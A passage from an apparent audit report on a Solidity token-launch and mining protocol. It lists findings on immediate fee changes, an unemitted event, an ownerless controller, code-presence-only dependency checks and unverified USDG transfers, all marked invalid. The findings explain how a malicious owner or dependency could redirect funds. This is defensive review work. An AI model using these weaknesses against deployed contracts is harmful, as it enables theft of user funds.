    /// @notice Changes only the beneficiary for future creator-fee accruals; zero disables that future claim.
    /// @param newRecipient Beneficiary of future creator fees, or zero to leave that share with the revenue destination.
    function setCreatorFeeRecipient(address newRecipient) external onlyOwner {
        address previousRecipient = creatorFeeRecipient;
        creatorFeeRecipient = newRecipient;
        emit CreatorFeeRecipientSet(previousRecipient, newRecipient);
    }

    /// @notice Changes the rate for future creator-fee accruals without changing existing claims.
    /// @param newFeeBps Creator fee in basis points, within the inclusive 1 to 200 range.
    function setCreatorFeeBps(uint256 newFeeBps) external onlyOwner {
        if (newFeeBps < MIN_CREATOR_FEE_BPS || newFeeBps > MAX_CREATOR_FEE_BPS) {
            revert InvalidCreatorFeeBps(newFeeBps);
        }
        uint256 previousFeeBps = creatorFeeBps;
        creatorFeeBps = newFeeBps;
        emit CreatorFeeBpsSet(previousFeeBps, newFeeBps);
    }

    /// @notice Replaces the destination for future mining revenue without migrating existing protocol state.
    /// @dev The destination must contain deployed code. It may be a replacement router or the canonical Fund.
    ///      No callback or interface probe is made to either destination; code presence does not prove compatibility.
    /// @param newRouter Contract receiving the remainder of future mining payments.
    function setRevenueRouter(address newRouter) external onlyOwner {
        if (newRouter == address(0) || newRouter.code.length == 0) revert ZeroAddress();
        address previousRouter = revenueRouter;
        revenueRouter = newRouter;
        emit RevenueRouterSet(previousRouter, newRouter);
    }
```
⋯
#### Lines 278-305 — _A paid replacement reads current fee configuration and applies it immediately to that payment._ — _mine() snapshots current (possibly just-changed) fee config_

```
        PaymentConfig memory fees;
        if (paymentAmount != 0) {
            fees = PaymentConfig({
                creator: creatorFeeRecipient,
                protocol: launchpad.protocolFeeRecipient(),
                creatorBps: creatorFeeBps,
                protocolBps: launchpad.protocolFeeBps(),
                revenue: revenueRouter
            });
        }

        _settleSlot(previousSlot);

        uint256 revenueAmount = _allocatePayment(previousSlot.miner, fees, expectedEpochId, paymentAmount);
        Slot memory nextSlot = Slot({
            epochId: expectedEpochId + 1,
            initialPrice: _nextInitialPrice(paymentAmount),
            auctionStartedAt: block.timestamp,
            tps: _globalTps(),
            miner: miner,
            message: message
        });

        _slot = nextSlot;

        if (paymentAmount != 0) {
            _collectAndDeposit(msg.sender, fees.revenue, expectedEpochId, paymentAmount, revenueAmount);
        }
```
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol`
#### Lines 282-294 — _Protocol fee recipient and basis-point setters also update live values immediately._

```
    /// @notice Sets the recipient of future mining protocol fees, preserving previously accrued claims.
    function setProtocolFeeRecipient(address recipient) external onlyOwner {
        address previous = protocolFeeRecipient;
        protocolFeeRecipient = recipient;
        emit ProtocolFeeRecipientSet(previous, recipient);
    }

    /// @notice Sets the rate of future mining protocol fees within the existing 1 to 200 basis-point bounds.
    function setProtocolFeeBps(uint256 feeBps) external onlyOwner {
        if (feeBps < MIN_PROTOCOL_FEE_BPS || feeBps > MAX_PROTOCOL_FEE_BPS) revert InvalidProtocolFeeBps(feeBps);
        uint256 previous = protocolFeeBps;
        protocolFeeBps = feeBps;
        emit ProtocolFeeBpsSet(previous, feeBps);
```
## Description

Privileged setters update the creator-fee recipient and rate, protocol-fee recipient and rate, and revenue router as immediately effective live state. On a paid `mine` replacement, the contract builds `PaymentConfig` from those current values, including values read from `Launchpad`, and uses that configuration to allocate and deposit the payment. Consequently, an owner can sequence a configuration update directly before a pending paid mining transaction, including within the same block, with no pending-state or activation window. Previously accrued claims are preserved, but that does not protect the allocation of the next payment. Fee and destination changes should instead be queued and become effective only after a defined timelock or epoch-boundary delay.
## Root cause

The fee and revenue setters synchronously overwrite live configuration that `mine` reads for the next payment, without a timelock or deferred activation mechanism.
## Impact

A compromised or mistaken owner can redirect the creator, protocol, or revenue portions of a pending mining payment, or increase the bounded fee rates, before the payer's `mine` transaction executes. Users have no on-chain review or exit window for the changed economic split, while already accrued claim balances remain unaffected.

---

# Declared controller metadata event is never emitted
**#303394**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/FundController.sol` (2 locations)
#### Lines 26-30 — _Declares `MetadataURISet` but explicitly states that the controller does not emit it._

```
    event LiquidityFeeRecipientsSet(address indexed pool, address indexed coinRecipient, address indexed baseRecipient);

    /// @notice Retained ABI event declaration; this controller does not emit it.
    /// @dev Metadata updates emit TokenURISet from Coin, including after Coin ownership leaves this controller.
    event MetadataURISet(address indexed coin, string previousURI, string newURI);
```
⋯
#### Lines 52-55 — _`setMetadataURI()` forwards directly to Coin without emitting a controller event._

```
    /// @notice Forwards a metadata update while this controller owns Coin.
    /// @dev Coin stores and validates the URI and emits TokenURISet. Reverts after Coin ownership is handed away.
    function setMetadataURI(string calldata newURI) external onlyOwner {
        Coin(coin).setTokenURI(newURI);
```
### `Uploaded archive/packages/contracts/src/core/Coin.sol`
#### Lines 82-91 — _Coin performs the update and emits TokenURISet from the Coin address._ — _Coin performs the update and emits only `TokenURISet`._

```
    /// @notice Replaces the ERC-1046 metadata URI without affecting minting or balances.
    /// @dev Empty input restores minimal ERC-1046 metadata. Replacement documents must follow the ERC-1046 schema.
    ///      Only the current Coin owner can update it; ownership transfers immediately.
    function setTokenURI(string calldata newURI) external onlyOwner {
        uint256 length = bytes(newURI).length;
        if (length > MAX_METADATA_URI_BYTES) revert MetadataURITooLong(length);
        string memory previousURI = tokenURI;
        string memory resolvedURI = length == 0 ? DEFAULT_TOKEN_URI : newURI;
        tokenURI = resolvedURI;
        emit TokenURISet(previousURI, resolvedURI);
```
### `Uploaded archive/packages/contracts/test/minimal/Launchpad.t.sol`
#### Lines 128-133 — _The integration test expects `TokenURISet` at the Coin address and validates state, with no controller event._

```
        vm.expectEmit(false, false, false, true, address(token));
        emit TokenURISet("ipfs://metadata-v1", "ipfs://metadata-v2");
        vm.prank(ALICE);
        controller.setMetadataURI("ipfs://metadata-v2");
        assertEq(controller.metadataURI(), "ipfs://metadata-v2");
        assertEq(token.tokenURI(), "ipfs://metadata-v2");
```
## Description

`FundController` declares `MetadataURISet(address,string,string)` but documents that it does not emit the event. Its `setMetadataURI` wrapper delegates the update to `Coin.setTokenURI` without producing a controller-side log. `Coin` stores the resolved URI and emits `TokenURISet` from the Coin address instead. The integration test likewise expects only the Coin-scoped event while confirming that both controller-exposed and Coin URI state are updated. The controller ABI therefore exposes a metadata event surface that is not produced for successful controller-mediated updates.
## Root cause

`FundController.setMetadataURI` delegates URI mutation to `Coin` without emitting its declared `MetadataURISet` event, while `Coin.setTokenURI` emits only `TokenURISet`.
## Impact

Indexers, monitoring systems, and automation filtering the controller address for `MetadataURISet` can miss successful URI changes and retain stale off-chain metadata. The on-chain URI remains correct and consumers that monitor `Coin.TokenURISet` continue to observe the update.

---

# Ownerless controller permanently strands component administration
**#303395**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/FundController.sol` (3 locations)
#### Lines 18-24 — _FundController inherits Ownable2Step and stores the downstream Coin, Mine, and Resonance references._ — _FundController inherits Ownable2Step, which exposes an unguarded renounceOwnership()._

```
contract FundController is Ownable2Step {
    /// @notice Coin associated with this controller's immutable Mine and Resonance.
    address public immutable coin;
    /// @notice Mine whose creator fees and future revenue destination this controller administers.
    Mine public immutable mine;
    /// @notice Resonance whose Strategies and signaling settings this controller administers.
    Resonance public immutable resonance;
```
⋯
#### Lines 54-142 — _All administrative forwarders are onlyOwner-gated against the controller's own (possibly renounced) owner; no recovery path exists._ — _Core and LP ownership wrappers immediately forward downstream transferOwnership without checking controller lifecycle or rejecting return after renunciation._ — _Manager, community-opening, and Bribe-share administration is gated by the controller owner._

```
    function setMetadataURI(string calldata newURI) external onlyOwner {
        Coin(coin).setTokenURI(newURI);
    }

    /// @notice Immediately transfers Coin ownership to a nonzero address.
    /// @dev Mint authority remains independently locked to Mine.
    function transferCoinOwnership(address newOwner) external onlyOwner {
        Coin(coin).transferOwnership(newOwner);
    }

    /// @notice Immediately transfers Mine ownership to a nonzero address.
    /// @dev This controller loses Mine administration as soon as the transfer succeeds.
    function transferMineOwnership(address newOwner) external onlyOwner {
        mine.transferOwnership(newOwner);
    }

    /// @notice Immediately transfers Resonance ownership to a nonzero address.
    /// @dev This controller loses Resonance administration as soon as the transfer succeeds.
    function transferResonanceOwnership(address newOwner) external onlyOwner {
        resonance.transferOwnership(newOwner);
    }

    /// @notice Transfers a controller-owned pool's fee-administration ownership.
    /// @dev The pool must be owned by this controller. No LP shares are moved.
    function transferLiquidityPoolOwnership(address pool, address newOwner) external onlyOwner {
        _controllerOwnedPool(pool).transferOwnership(newOwner);
    }

    /// @notice Changes the recipient of future Mine creator fees; zero disables new accruals.
    function setCreatorFeeRecipient(address newRecipient) external onlyOwner {
        mine.setCreatorFeeRecipient(newRecipient);
    }

    /// @notice Changes the rate of future Mine creator fees without changing existing claims.
    /// @param newFeeBps Creator fee in basis points, within the inclusive 1 to 200 range.
    function setCreatorFeeBps(uint256 newFeeBps) external onlyOwner {
        mine.setCreatorFeeBps(newFeeBps);
    }

    /// @notice Changes where future Mine revenue is deposited, without migrating old balances, signals, or rewards.
    /// @dev This controller remains bound to the original Resonance, which is not called during redirection.
    /// @param newRouter Contract receiving future mining revenue, including a replacement router or the Fund.
    function setRevenueRouter(address newRouter) external onlyOwner {
        mine.setRevenueRouter(newRouter);
    }

    /// @notice Replaces the wallet allowed to make future managed signal additions without moving existing positions.
    function setSignalManager(address newSignalManager) external onlyOwner {
        resonance.setSignalManager(newSignalManager);
    }

    /// @notice Opens managed signaling to the community permanently.
    /// @dev Existing positions stay with their holders, and the Bribe share remains zero until separately changed.
    function openToCommunity() external onlyOwner {
        resonance.openToCommunity();
    }

    /// @notice Adds a Strategy (Auction, BribeRouter, and Bribe) to Resonance with the supplied auction configuration.
    function addStrategy(IERC20 paymentToken, Auction.Config calldata config)
        external
        onlyOwner
        returns (address strategy, address bribe, address bribeRouter)
    {
        return resonance.addStrategy(paymentToken, config);
    }

    /// @notice Retires a Strategy permanently while preserving existing signal withdrawals and earned claims.
    function killStrategy(address strategy) external onlyOwner {
        resonance.killStrategy(strategy);
    }

    /// @notice Adds a reward token to a registered Strategy's Bribe.
    function addBribeRewardToken(address strategy, address rewardToken) external onlyOwner {
        resonance.addBribeRewardToken(strategy, rewardToken);
    }

    /// @notice Sets the Bribe share of Auction purchase payments; Fund receives the remainder.
    /// @dev Managed signaling permits only a zero Bribe share.
    function setBribeBps(uint256 newBribeBps) external onlyOwner {
        resonance.setBribeBps(newBribeBps);
    }

    /// @notice Configures a compatible pool whose current fee owner is this controller.
    /// @dev The assets need not include this controller's Coin. Current ownership is
    ///      checked explicitly; this typed call cannot transfer shares, principal, ownership or existing fee credits.
    function setLiquidityFeeRecipients(address pool, address coinRecipient, address baseRecipient) external onlyOwner {
        _controllerOwnedPool(pool).setCreatorRecipients(coinRecipient, baseRecipient);
        emit LiquidityFeeRecipientsSet(pool, coinRecipient, baseRecipient);
    }
```
⋯
#### Lines 150-155 — _LP ownership is accepted solely when the pool reports the controller as owner; there is no controller-owner liveness check._

```
    /// @dev Resolves a compatible pool currently owned by this controller.
    function _controllerOwnedPool(address pool) private view returns (IFullRangeLiquidityConfiguration candidate) {
        if (pool.code.length == 0) revert InvalidLiquidityPool(pool);
        candidate = IFullRangeLiquidityConfiguration(pool);
        if (candidate.owner() != address(this)) revert InvalidLiquidityPool(pool);
    }
```
### `Uploaded archive/packages/contracts/test/minimal/FundControllerOwnership.t.sol` (2 locations)
#### Lines 262-284 — _The test demonstrates renunciation, failed acceptance, components returned to the controller, and the controller remaining ownerless._ — _Test proves components returned to a renounced controller become unadministrable forever._

```
    function test_ReturnToRenouncedControllerDoesNotRestoreControllerAuthority() external {
        for (uint256 i; i < 3; ++i) {
            vm.prank(CREATOR);
            _transfer(i, ALICE);
        }
        vm.prank(CREATOR);
        controller.transferOwnership(BOB);
        vm.prank(CREATOR);
        controller.renounceOwnership();
        assertEq(controller.pendingOwner(), address(0));
        vm.prank(BOB);
        vm.expectRevert(abi.encodeWithSelector(Ownable.OwnableUnauthorizedAccount.selector, BOB));
        controller.acceptOwnership();
        for (uint256 i; i < 3; ++i) {
            vm.prank(ALICE);
            _core(i).transferOwnership(address(controller));
            vm.prank(CREATOR);
            vm.expectRevert(abi.encodeWithSelector(Ownable.OwnableUnauthorizedAccount.selector, CREATOR));
            _transfer(i, ALICE);
            assertEq(_core(i).owner(), address(controller));
        }
        assertEq(controller.owner(), address(0));
    }
```
⋯
#### Lines 286-301 — _Further test proves this condition specifically for detached cores whose owner is directly renounced and later sent to the controller._ — _Test explicitly verifies detached core ownership cannot be returned after component renunciation and distinguishes preserved user operations from unavailable administration._

```
    function test_RenouncingDetachedCoresPreventsRecoveryButPreservesUserOperations() external {
        _exerciseMiningAndExits();
        for (uint256 i; i < 3; ++i) {
            vm.prank(CREATOR);
            _transfer(i, ALICE);
            vm.prank(ALICE);
            _core(i).renounceOwnership();
            vm.prank(ALICE);
            vm.expectRevert(abi.encodeWithSelector(Ownable.OwnableUnauthorizedAccount.selector, ALICE));
            _core(i).transferOwnership(address(controller));
            assertEq(_core(i).owner(), address(0));
        }
        _exerciseMiningAndExits();
        assertEq(coin.minter(), address(mine));
        assertTrue(coin.minterLocked());
    }
```
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol`
#### Lines 407-414 — _Launch completion transfers Coin, Mine, Resonance, and LP-token ownership to the controller._

```
    /// @dev Disables SignalCoin setup and hands component administration to the creator-owned controller.
    function _completeOwnership(LaunchRecord memory r) private {
        SignalCoin(r.signalCoin).renounceOwnership();
        Coin(r.coin).transferOwnership(r.controller);
        Mine(r.mine).transferOwnership(r.controller);
        Resonance(r.resonance).transferOwnership(r.controller);
        FullRangeERC20(r.pool).transferOwnership(r.controller);
    }
```
### `Uploaded archive/packages/contracts/src/core/Coin.sol`
#### Lines 82-85 — _Coin administration is protected by the downstream Ownable owner, so controller metadata forwarding requires the controller itself to remain Coin owner._

```
    /// @notice Replaces the ERC-1046 metadata URI without affecting minting or balances.
    /// @dev Empty input restores minimal ERC-1046 metadata. Replacement documents must follow the ERC-1046 schema.
    ///      Only the current Coin owner can update it; ownership transfers immediately.
    function setTokenURI(string calldata newURI) external onlyOwner {
```
### `Uploaded archive/packages/contracts/src/core/Mine.sol`
#### Lines 215-243 — _Mine fee and revenue-router administration is downstream owner-only and has no recovery path for an ownerless controller owner._

```
    /// @notice Changes only the beneficiary for future creator-fee accruals; zero disables that future claim.
    /// @param newRecipient Beneficiary of future creator fees, or zero to leave that share with the revenue destination.
    function setCreatorFeeRecipient(address newRecipient) external onlyOwner {
        address previousRecipient = creatorFeeRecipient;
        creatorFeeRecipient = newRecipient;
        emit CreatorFeeRecipientSet(previousRecipient, newRecipient);
    }

    /// @notice Changes the rate for future creator-fee accruals without changing existing claims.
    /// @param newFeeBps Creator fee in basis points, within the inclusive 1 to 200 range.
    function setCreatorFeeBps(uint256 newFeeBps) external onlyOwner {
        if (newFeeBps < MIN_CREATOR_FEE_BPS || newFeeBps > MAX_CREATOR_FEE_BPS) {
            revert InvalidCreatorFeeBps(newFeeBps);
        }
        uint256 previousFeeBps = creatorFeeBps;
        creatorFeeBps = newFeeBps;
        emit CreatorFeeBpsSet(previousFeeBps, newFeeBps);
    }

    /// @notice Replaces the destination for future mining revenue without migrating existing protocol state.
    /// @dev The destination must contain deployed code. It may be a replacement router or the canonical Fund.
    ///      No callback or interface probe is made to either destination; code presence does not prove compatibility.
    /// @param newRouter Contract receiving the remainder of future mining payments.
    function setRevenueRouter(address newRouter) external onlyOwner {
        if (newRouter == address(0) || newRouter.code.length == 0) revert ZeroAddress();
        address previousRouter = revenueRouter;
        revenueRouter = newRouter;
        emit RevenueRouterSet(previousRouter, newRouter);
    }
```
### `Uploaded archive/packages/contracts/src/core/Resonance.sol`
#### Lines 398-438 — _Resonance governance setters are downstream owner-only, so returning Resonance to an ownerless controller prevents those calls._

```
    /// @notice Sets the prospective paired-Bribe share for every later Auction purchase.
    /// @dev Callable only by the current owner. Community mode accepts values from zero through `MAX_BRIBE_BPS`;
    ///      manager-directed mode accepts only zero. Each Auction snapshots this value before token interaction, so
    ///      earlier and in-flight purchases and active Bribe reward streams are not repriced.
    /// @param newBribeBps New global share in basis points; nonzero values require community signaling.
    function setBribeBps(uint256 newBribeBps) external onlyOwner {
        if (newBribeBps > MAX_BRIBE_BPS) revert BribeBpsAboveMaximum(newBribeBps);
        if (signalManager != address(0) && newBribeBps != 0) revert ManagedFundBribeBpsNonzero(newBribeBps);

        uint256 previousBps = bribeBps;
        bribeBps = newBribeBps;

        emit BribeBpsSet(previousBps, newBribeBps);
    }

    /// @notice Replaces the operating wallet authorized to make future managed signal additions.
    /// @dev Callable only by the owner while `signalManager` remains nonzero. Existing signal is not moved, removed, or
    ///      reassigned. A former manager keeps its claims and exits but cannot add while another manager is assigned.
    ///      A zero candidate is rejected; `openToCommunity` is the sole path that clears the manager.
    /// @param newSignalManager Nonzero wallet receiving future signal-addition authority.
    function setSignalManager(address newSignalManager) external onlyOwner {
        if (signalManager == address(0)) revert CommunitySignalAlreadyOpen();
        if (newSignalManager == address(0)) revert ZeroAddress();

        address previousSignalManager = signalManager;
        signalManager = newSignalManager;

        emit SignalManagerSet(previousSignalManager, newSignalManager);
    }

    /// @notice Opens signal additions to every Coin holder permanently.
    /// @dev Callable only by the owner while a nonzero manager exists. Existing manager positions remain unchanged.
    ///      The automatic Bribe share remains zero until governance later chooses a value through
    ///      `setBribeBps`; no function can restore managed signaling.
    function openToCommunity() external onlyOwner {
        address previousSignalManager = signalManager;
        if (previousSignalManager == address(0)) revert CommunitySignalAlreadyOpen();

        signalManager = address(0);

        emit CommunitySignalOpened(previousSignalManager);
```
## Description

`FundController` inherits `Ownable2Step` and leaves irreversible ownership renunciation available, despite serving as the owner and administrative proxy for protocol components. Launch completion transfers `Coin`, `Mine`, `Resonance`, and the pool to the controller, while its forwarding and ownership-handoff operations are all gated by the controller's own `onlyOwner` authorization. Once the controller owner renounces, no account can cause the controller to invoke those downstream owner-only functions or transfer component ownership away. Detached components can also subsequently be transferred back to the nonzero controller address, which leaves them owned by a contract whose own owner is `address(0)`. The ownership test reproduces this state, including failed ownership recovery after the controller has been renounced.
## Root cause

`FundController` permits inherited `renounceOwnership()` even though it is the sole owner-proxy for downstream components and has no recovery or liveness mechanism.
## Impact

A controller owner can permanently freeze administration of components that remain owned by, or are returned to, the ownerless controller. This prevents changes to Mine fee and revenue configuration, Resonance strategy and signaling configuration, Coin metadata, and pool fee recipients, while the cited tests indicate core user operations can continue.

---

# Code-presence checks do not authenticate launch dependencies
**#303396**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol` (4 locations)
#### Lines 200-232 — _Constructor validates all dependencies by code-length only_ — _Constructor admits all supplied dependencies using `_requireContract` and checks only USDG decimals, then stores them as immutable trusted references._ — _Constructor applies only `_requireContract` and a decimals check to all supplied dependencies._

```
    /// @notice Binds verified stateless deployers, the pool factory, USDG and mining fee administration.
    constructor(
        IERC20Metadata usdg_,
        LaunchDeployers memory deployers_,
        FullRangeFactory poolFactory_,
        address initialOwner,
        address initialProtocolFeeRecipient
    ) Ownable(initialOwner) {
        _requireContract(address(usdg_));
        _requireContract(address(poolFactory_));
        _requireContract(address(deployers_.coinDeployer));
        _requireContract(address(deployers_.fundDeployer));
        _requireContract(address(deployers_.signalDeployer));
        _requireContract(address(deployers_.mineDeployer));
        _requireContract(address(deployers_.resonanceDeployer));
        _requireContract(address(deployers_.routerDeployer));
        _requireContract(address(deployers_.controllerDeployer));
        _requireContract(address(deployers_.bribeFactory));
        _requireContract(address(deployers_.auctionFactory));
        if (usdg_.decimals() != 6) revert InvalidLaunchConfig();
        usdg = usdg_;
        poolFactory = poolFactory_;
        coinDeployer = deployers_.coinDeployer;
        fundDeployer = deployers_.fundDeployer;
        signalDeployer = deployers_.signalDeployer;
        mineDeployer = deployers_.mineDeployer;
        resonanceDeployer = deployers_.resonanceDeployer;
        routerDeployer = deployers_.routerDeployer;
        controllerDeployer = deployers_.controllerDeployer;
        bribeFactory = deployers_.bribeFactory;
        auctionFactory = deployers_.auctionFactory;
        protocolFeeRecipient = initialProtocolFeeRecipient;
    }
```
⋯
#### Lines 345-368 — _Launch obtains the supplied hook and pool, pulls creator base, approves Coin/base to the hook, and invokes `initializeAndSeed` before completing the launch._ — _Launch trusts the configured factory's hook and pool, transfers creator funds, approves the hook, and invokes initialization._

```
    function _seedPool(LaunchRecord memory r, address feeRecipient, uint256 minShares, uint256 deadline) private {
        FullRange hook = poolFactory.hook();
        FullRangeERC20 pool = poolFactory.create(r.coin, r.baseToken, address(this), feeRecipient, feeRecipient);
        r.pool = address(pool);
        Coin(r.coin).mint(address(this), r.coinSeedAmount);
        IERC20 base = IERC20(r.baseToken);
        uint256 beforeBalance = base.balanceOf(address(this));
        base.safeTransferFrom(r.originalCreator, address(this), r.baseSeedAmount);
        if (base.balanceOf(address(this)) - beforeBalance != r.baseSeedAmount) revert UnsupportedBaseTransfer();
        base.forceApprove(address(hook), r.baseSeedAmount);
        IERC20(r.coin).forceApprove(address(hook), r.coinSeedAmount);
        (r.depositedCoinAmount, r.depositedBaseAmount, r.genesisShares, r.sqrtPriceX96) =
            hook.initializeAndSeed(pool.poolId(), r.coinSeedAmount, r.baseSeedAmount, minShares, deadline);
        // The hook returns shares minted to Launchpad; its minimum shares already went to the dead address.
        IERC20(r.pool).safeTransfer(genesisLock, r.genesisShares);
        // Record the total locked issuance, including that minimum.
        r.genesisShares += hook.MINIMUM_LIQUIDITY();
        base.forceApprove(address(hook), 0);
        IERC20(r.coin).forceApprove(address(hook), 0);
        r.poolId = pool.poolId();
        uint256 refund = r.baseSeedAmount - r.depositedBaseAmount;
        if (refund != 0) base.safeTransfer(r.originalCreator, refund);
        r.burnedCoinDust = r.coinSeedAmount - r.depositedCoinAmount;
        if (r.burnedCoinDust != 0) Coin(r.coin).burn(r.burnedCoinDust);
```
⋯
#### Lines 389-405 — __grantCreator permanently locks Coin minter to whatever mineDeployer returned_

```
    /// @dev Issues the optional creator grant, then permanently assigns all future Coin minting to Mine.
    function _grantCreator(LaunchRecord memory r) private {
        SignalCoin signal = SignalCoin(r.signalCoin);
        uint256 amount = r.creatorCoinAmount;
        if (amount != 0) {
            if (r.autoSignalCreator) {
                Coin(r.coin).mint(address(this), amount);
                IERC20(r.coin).forceApprove(r.signalCoin, amount);
                signal.initializeCreatorSignal(r.originalCreator, r.auctions[2], amount);
                IERC20(r.coin).forceApprove(r.signalCoin, 0);
            } else {
                Coin(r.coin).mint(r.originalCreator, amount);
            }
        }
        // Close launch-time minting even when the creator grant is zero.
        Coin(r.coin).setMinter(r.mine);
    }
```
⋯
#### Lines 456-458 — _`_requireContract` checks only `dependency.code.length`._

```
    function _requireContract(address dependency) private view {
        if (dependency.code.length == 0) revert InvalidDependency(dependency);
    }
```
### `Uploaded archive/packages/contracts/src/core/Mine.sol` (2 locations)
#### Lines 278-305 — _Mine reads the Launchpad fee source and allocates payment claims before collecting and depositing the nominal payment._

```
        PaymentConfig memory fees;
        if (paymentAmount != 0) {
            fees = PaymentConfig({
                creator: creatorFeeRecipient,
                protocol: launchpad.protocolFeeRecipient(),
                creatorBps: creatorFeeBps,
                protocolBps: launchpad.protocolFeeBps(),
                revenue: revenueRouter
            });
        }

        _settleSlot(previousSlot);

        uint256 revenueAmount = _allocatePayment(previousSlot.miner, fees, expectedEpochId, paymentAmount);
        Slot memory nextSlot = Slot({
            epochId: expectedEpochId + 1,
            initialPrice: _nextInitialPrice(paymentAmount),
            auctionStartedAt: block.timestamp,
            tps: _globalTps(),
            miner: miner,
            message: message
        });

        _slot = nextSlot;

        if (paymentAmount != 0) {
            _collectAndDeposit(msg.sender, fees.revenue, expectedEpochId, paymentAmount, revenueAmount);
        }
```
⋯
#### Lines 415-433 — _Payment settlement relies on SafeERC20 calls to the immutable USDG without balance-delta verification._

```
    /// @dev Pulls the complete raw USDG payment from `payer`, then transfers the exhaustive remainder to
    ///      the snapshotted revenue destination. The retained balance backs all pull claims. Sender and receiver
    ///      balance deltas are not checked because USDG is assumed to be a standard, non-rebasing ERC-20.
    /// @param payer Account funding the replacement.
    /// @param router Revenue destination snapshotted before the replacement's token interactions.
    /// @param epochId Identifier of the tenure consumed by the replacement.
    /// @param paymentAmount Complete raw USDG amount pulled from `payer`.
    /// @param revenueAmount Raw USDG amount transferred to the snapshotted destination.
    function _collectAndDeposit(
        address payer,
        address router,
        uint256 epochId,
        uint256 paymentAmount,
        uint256 revenueAmount
    ) private {
        usdg.safeTransferFrom(payer, address(this), paymentAmount);
        usdg.safeTransfer(router, revenueAmount);

        emit RevenueDeposited(epochId, router, revenueAmount);
```
### `Uploaded archive/packages/contracts/src/core/Coin.sol`
#### Lines 98-109 — _setMinter only checks code presence, not implementation identity_

```
    function setMinter(address newMinter) external {
        if (msg.sender != minter) revert NotMinter(msg.sender);
        if (minterLocked) revert MinterAlreadyLocked();
        if (newMinter == address(0)) revert ZeroAddress();
        if (newMinter == minter) revert SameMinter();
        if (newMinter.code.length == 0) revert AddressHasNoCode(newMinter);

        address previousMinter = minter;
        minter = newMinter;
        minterLocked = true;
        emit MinterSet(previousMinter, newMinter);
    }
```
## Description

`Launchpad` accepts USDG, factories, and deployers when they merely contain bytecode, with USDG receiving only a `decimals() == 6` check. It then persists those addresses as the infrastructure for all launches without establishing canonical implementation identity or validating the factory-returned hook, pool, and deployed component graph. In `_seedPool`, the factory-selected hook receives approvals for both the creator's transferred base tokens and newly minted Coin before `initializeAndSeed` executes. The same trust assumption permits a nonstandard USDG to report successful transfers even though Mine allocates claims before collecting the nominal payment and does not verify balance deltas. A deployer-returned `Mine` can also become the permanently locked Coin minter because the eventual minter assignment similarly accepts any code-bearing address.
## Root cause

The constructor and downstream wiring treat `dependency.code.length > 0` as authentication for injected dependencies and returned components rather than verifying their canonical identity, expected behavior, and trusted relationships.
## Impact

A Launchpad instantiated with a malicious or incorrect code-bearing dependency can route a creator's seed assets to attacker-controlled hook logic or make launches fail after the base tokens have been pulled. It can also permanently wire launched components, including Coin mint authority, to an untrusted graph, or create mining payment claims and revenue records that are not backed by actual USDG settlement.

---

# Unverified USDG transfers allow unfunded mining and liabilities
**#303397**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol`
#### Lines 200-232 — _USDG validation checks code presence and six decimals only before immutable storage._ — _Constructor checks only deployed code and a six-decimal metadata result for the immutable USDG dependency._

```
    /// @notice Binds verified stateless deployers, the pool factory, USDG and mining fee administration.
    constructor(
        IERC20Metadata usdg_,
        LaunchDeployers memory deployers_,
        FullRangeFactory poolFactory_,
        address initialOwner,
        address initialProtocolFeeRecipient
    ) Ownable(initialOwner) {
        _requireContract(address(usdg_));
        _requireContract(address(poolFactory_));
        _requireContract(address(deployers_.coinDeployer));
        _requireContract(address(deployers_.fundDeployer));
        _requireContract(address(deployers_.signalDeployer));
        _requireContract(address(deployers_.mineDeployer));
        _requireContract(address(deployers_.resonanceDeployer));
        _requireContract(address(deployers_.routerDeployer));
        _requireContract(address(deployers_.controllerDeployer));
        _requireContract(address(deployers_.bribeFactory));
        _requireContract(address(deployers_.auctionFactory));
        if (usdg_.decimals() != 6) revert InvalidLaunchConfig();
        usdg = usdg_;
        poolFactory = poolFactory_;
        coinDeployer = deployers_.coinDeployer;
        fundDeployer = deployers_.fundDeployer;
        signalDeployer = deployers_.signalDeployer;
        mineDeployer = deployers_.mineDeployer;
        resonanceDeployer = deployers_.resonanceDeployer;
        routerDeployer = deployers_.routerDeployer;
        controllerDeployer = deployers_.controllerDeployer;
        bribeFactory = deployers_.bribeFactory;
        auctionFactory = deployers_.auctionFactory;
        protocolFeeRecipient = initialProtocolFeeRecipient;
    }
```
### `Uploaded archive/packages/contracts/src/core/Mine.sol` (4 locations)
#### Lines 278-305 — _A paid replacement snapshots fee configuration, allocates payment, advances the slot, and then performs nominal token settlement._

```
        PaymentConfig memory fees;
        if (paymentAmount != 0) {
            fees = PaymentConfig({
                creator: creatorFeeRecipient,
                protocol: launchpad.protocolFeeRecipient(),
                creatorBps: creatorFeeBps,
                protocolBps: launchpad.protocolFeeBps(),
                revenue: revenueRouter
            });
        }

        _settleSlot(previousSlot);

        uint256 revenueAmount = _allocatePayment(previousSlot.miner, fees, expectedEpochId, paymentAmount);
        Slot memory nextSlot = Slot({
            epochId: expectedEpochId + 1,
            initialPrice: _nextInitialPrice(paymentAmount),
            auctionStartedAt: block.timestamp,
            tps: _globalTps(),
            miner: miner,
            message: message
        });

        _slot = nextSlot;

        if (paymentAmount != 0) {
            _collectAndDeposit(msg.sender, fees.revenue, expectedEpochId, paymentAmount, revenueAmount);
        }
```
⋯
#### Lines 365-373 — _The outgoing tenure is minted to its miner regardless of whether the payment token actually moved._

```
    function _settleSlot(Slot memory previousSlot) private {
        if (previousSlot.miner == address(0)) return;

        uint256 amount = (block.timestamp - previousSlot.auctionStartedAt) * previousSlot.tps;
        if (amount == 0) return;

        totalMined += amount;
        coin.mint(previousSlot.miner, amount);
        emit EmissionSettled(previousSlot.miner, previousSlot.epochId, amount);
```
⋯
#### Lines 382-413 — _Liabilities are increased from nominal payment amount._

```
    function _allocatePayment(address previousMiner, PaymentConfig memory fees, uint256 epochId, uint256 paymentAmount)
        private
        returns (uint256 revenueAmount)
    {
        if (paymentAmount == 0) return 0;

        uint256 previousMinerAmount;
        if (previousMiner != address(0)) {
            previousMinerAmount = Math.mulDiv(paymentAmount, PREVIOUS_MINER_BPS, BPS);
            claimablePayment[previousMiner] += previousMinerAmount;
            totalClaimablePayments += previousMinerAmount;
